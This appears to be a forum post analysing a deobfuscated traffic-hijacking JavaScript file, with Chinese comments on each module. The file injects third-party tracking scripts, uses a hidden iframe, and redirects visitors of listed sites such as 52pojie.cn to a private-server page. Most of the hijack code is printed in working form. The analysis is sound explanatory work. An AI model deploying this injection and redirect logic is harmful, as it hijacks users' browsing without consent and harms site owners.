[JavaScript] 纯文本查看 复制代码
(function(window) {
var a7 = window.a7 || {};
a7.u = function() {
var url = document.location.href;
// 对应网页上的 <iframe id=m frameborder=0 width=100% height=100%></iframe>
// 修改为当前网址 + _t_t_t=xxx 防止缓存
// 同时高和宽修改为 100%,避免让用户发现不同。
// 但是可能之后开关被激活了,所以跳转到私服页面
document.getElementById("m").src = url + (url.indexOf("&") < 0 ? '?' : '?') + '_t_t_t=' + Math.random();
};
window.a7 = a7;
})(window);
// [url]http://118.89.163.236/js/sf.js?u=923253[/url]
/* @Date: Tue Aug 01 2017 16:16:26 GMT+0800 (中国标准时间) */
const modules = {
m_0: 0,
config: 1,
cnzzTrack: 2,
cnzz: 3,
m_4: 4,
m_5: 5,
jQuery: 6,
fiz: 7,
m_8: 8,
};
!function(moduleList) {
var readyModules = {};
function require(moduleIndex) {
if (readyModules[moduleIndex]) {
return readyModules[moduleIndex].exports;
}
var module = {
exports: {},
id: moduleIndex,
loaded: false
};
readyModules[moduleIndex] = module;
moduleList[moduleIndex].call(module.exports, module, module.exports, require);
module.loaded = true;
return module.exports;
}
require.m = moduleList;
require.c = readyModules;
require.p = "";
return require(0);
}([function(module, exports, require) {
// module_0: cnzz 初始化 ?
"use strict";
require(modules.cnzzTrack); // 注入 cnzz 数据分析脚本
var c = require(modules.cnzz);
if (c) {
c.init(require(modules.config).gwd_cnzz);
require(modules.m_4).init();
}
}, function(module) {
// module_1
"use strict";
module.exports = {
modules: {},
version: 1501575382807,
browser: {},
debug: /gwdebug/.test(window.location.href),
extend: function(object) {
for (var key in object)
this[key] = object[key];
}
};
}, function(module, exports, require) {
// module_2
"use strict";
var isMobile = false;
var platform = "pc";
if (window.navigator.appVersion.toLowerCase().match(/(?:iphone|android|linux|ipad|mobile|playbook|ipod)/)) {
isMobile = true;
platform = "mob";
}
var backupUrls = {
923253: "https://s22.cnzz.com/z_stat.php?id=1262189046&web_id=1262189046"
};
var urls = {
fds: {
pc: "",
mob: ""
},
// 35049714, 824033, 764050, 951261, 538625, 929733, 923253, 806720, 1329185
// 上面这几个 ID 都和下面这个有类似的地址,跳过
1098164: {
pc: "http://s11.cnzz.com/z_stat.php?id=1259968879&web_id=1259968879",
mob: "http://s11.cnzz.com/z_stat.php?id=1259968944&web_id=1259968944"
},
1052533823: {
mob: "https://s13.cnzz.com/z_stat.php?id=1262239273&web_id=1262239273"
}
};
// 若劫持页面未指定 ID 参数,则默认从当前脚本地址处获取。
var id = window.sdfwets;
if (!id) {
function getCurrentScript() {
// 尝试使用 HTML5 方法获取当前脚本元素
if (document.currentScript) return document.currentScript;
// 在不支持 HTML5 方法获取的情况下,一个一个查找。
var scripts = document.getElementsByTagName("script");
for (var i = 0; i < scripts.length; i++)
if (/(?:fds|sf)\.js/i.test(scripts[i].src))
return scripts[i];
}
var scriptTag = getCurrentScript();
if (scriptTag) {
var matches = scriptTag.src.match(/\/fds\.js\?u=([a-zA-Z0-9]+)/i); // 福鼎市?
if (matches) {
id = matches[1];
} else {
matches = scriptTag.src.match(/\/sf\.js\?u=([a-zA-Z0-9]+)/i); // 私服
if (matches) {
id = matches[1];
if (urls[id]) {
// 修改地址;若为 923253 则修改地址为 backupUrls 的地址 (事实上也的确修改了,被替换的劫持代码就有)
urls[id].pc = backupUrls[id];
}
}
}
}
}
// 如果还是找不到,就用默认的 (空白)
if (!id) {
id = "fds";
}
var config = require(modules.config);
config.extend({
crc64: 1,
btype: "luyou",
device: platform,
ismobile: isMobile,
server: "http://router.jiageweishi.com",
unionUrl: "http://u.smartlinkclick.com/union/go",
from_device: id,
new_extension: true,
gwd_cnzz: urls[id] && urls[id][platform]
});
}, function(module) {
// module_3
"use strict";
var trackTimer;
var scriptInjected;
var prev_category;
function injectScript(url) {
var head = document.getElementsByTagName("head")[0];
var script = document.createElement("script");
script.src = url;
script.async = true;
script.defer = true;
script.language = "JavaScript";
head.appendChild(script);
scriptInjected = true;
}
module.exports.init = function(url) {
// 如果 url 是空的就不插入
if (url) {
injectScript(url);
}
};
module.exports.log = function(category, action, label, value, nodeid) {
function trackEvent () {
if (window._czc && window._czc.push) {
action = action || ".";
label = label || "";
window._czc.push(["_trackEvent", category, action, label, value, nodeid]);
prev_category = category;
}
}
// 首先要确保有脚本插入到页面至少一次
if (scriptInjected) {
// 如果事件与上次分类一致,则延时 300 毫秒;同时如果之前有同一类事件则取消上一次的事件。
if (prev_category === category) {
clearTimeout(trackTimer);
trackTimer = setTimeout(trackEvent, 300);
} else {
trackEvent();
}
}
};
}, function(w, c, require) {
"use strict";
// module_4
var config = require(modules.config);
w.exports.init = function() {
if ("923253" === config.from_device) {
require(modules.m_5).init("http://scmy58.com/jj.html");
}
};
}, function(module, exports, require) {
// module_5
"use strict";
var $ = require(modules.jQuery);
var cnzz = require(modules.cnzz);
require(modules.fiz);
var hosts = ['www.52pojie.cn' /* 一大堆域名,省略 */];
var currentHost = location.host;
var currentUrl = location.href;
module.exports.init = function(url) {
for(var i = 0; i < hosts.length; i++) {
// 如果当前地址包含列表里的域名,或者与当前域名匹配
if (currentUrl.indexOf(hosts[i]) > -1 || hosts[i] == currentHost) {
// 若域名或地址匹配,则记录 'directpage' 日志,并在 200 毫秒后跳转到指定的地址。
// 可能因为看到流量大所以就搞了?
cnzz.log("directpage");
setTimeout(function() {
location.href = url;
}, 200);
return ;
}
}
};
}, function(w, c, o) {
// module_6 (jQuery 前端框架,实际并没有用到其功能)
}, function(w, c, o) {
// module_7 (百度的 fis3 前端框架或其它的框架,没仔细看;实际并没有用到其功能。)
}, function(w, c) {
// module_8 渲染模板, 实际并没有没用到
w.exports = `<div id="imageAdQrcode" style="{{obj.style}}">
<a id="qrlink" target="_blank" href="{{obj.url}}">
<img src="{{obj.imgurl}}">
</a>
<span class="fds-close-btn fds-bg"></span>
<style type="text/css">
#imageAdQrcode {
position: fixed;
z-index: 9999999999999999;
}
#imageAdQrcode img {
height: auto;
max-height: 280px;
}
#qrlink {
display: inline-block;
height: auto;
max-height: 280px;
width: auto;
}
.fds-close-btn {
height: 20px;
width: 20px;
position: absolute;
right: -2px;
top: -2px;
cursor: pointer;
}
#imageAdQrcode .fds-bg {
background: url('http://readindex.bjcnc.scs.sohucs.com/banner/quanlogo_close.png') 0px 0px no-repeat;
}
</style>
</div>`;
}]);